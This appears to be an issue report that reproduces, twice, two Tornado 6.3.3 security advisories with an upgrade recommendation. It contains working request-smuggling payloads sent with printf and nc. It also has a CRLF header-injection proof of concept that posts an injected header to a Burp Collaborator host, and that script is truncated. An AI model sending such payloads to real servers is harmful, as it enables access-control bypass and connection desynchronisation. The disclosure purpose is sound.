Description
GHSA-753j-mpmx-qq6g:
Description
Summary
When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.
PoC
Install Tornado.
Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado
class MainHandler(tornado.web.RequestHandler):
def post(self):
self.write(self.request.body)
async def main():
tornado.web.Application([(r"/", MainHandler)]).listen(8000)
await asyncio.Event().wait()
asyncio.run(main())
EOF
python3 server.py &
Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1
Z
Send a request with two Transfer-Encoding: chunked headers:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0
HTTP/1.1 400 Bad Request
This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.
Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypa
Recommendation
Upgrade tornado from 6.3.3 to 6.4.1 to fix the vulnerability.
GHSA-w235-7p84-xx57:
Summary
Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.
Details
When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.
This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.
This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:
The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.
pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.
PoC
The issue can be reproduced using the following script:
import asyncio
from tornado import httpclient
from tornado import curl_httpclient
async def main():
http_client = curl_httpclient.CurlAsyncHTTPClient()
request = httpclient.HTTPRequest(
# Burp Collaborator payload
"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
method="POST",
body="body",
# Injected header using CRLF characters
headers={"Foo": "Bar\r\nHeader: Injected"}
)
Recommendation
Upgrade tornado from 6.3.3 to 6.4.1 to fix the vulnerability.
Reproduction steps
NA
Expected vs. actual results
NA
Minimal code example
No response
Error messages
No response
Compiler and operating system
Not related to compiler
Library version
6.3.3
Validation
Description
GHSA-753j-mpmx-qq6g:
Description
Summary
When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.
PoC
Install Tornado.
Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado
class MainHandler(tornado.web.RequestHandler):
def post(self):
self.write(self.request.body)
async def main():
tornado.web.Application([(r"/", MainHandler)]).listen(8000)
await asyncio.Event().wait()
asyncio.run(main())
EOF
python3 server.py &
Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1
Z
Send a request with two Transfer-Encoding: chunked headers:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0
HTTP/1.1 400 Bad Request
This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.
Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypa
Recommendation
Upgrade tornado from 6.3.3 to 6.4.1 to fix the vulnerability.
GHSA-w235-7p84-xx57:
Summary
Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.
Details
When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.
This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.
This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:
The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.
pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.
PoC
The issue can be reproduced using the following script:
import asyncio
from tornado import httpclient
from tornado import curl_httpclient
async def main():
http_client = curl_httpclient.CurlAsyncHTTPClient()
Recommendation
Upgrade tornado from 6.3.3 to 6.4.1 to fix the vulnerability.
Reproduction steps
NA
Expected vs. actual results
NA
Minimal code example
No response
Error messages
No response
Compiler and operating system
Not related to compiler
Library version
6.3.3
Validation
developbranch is used.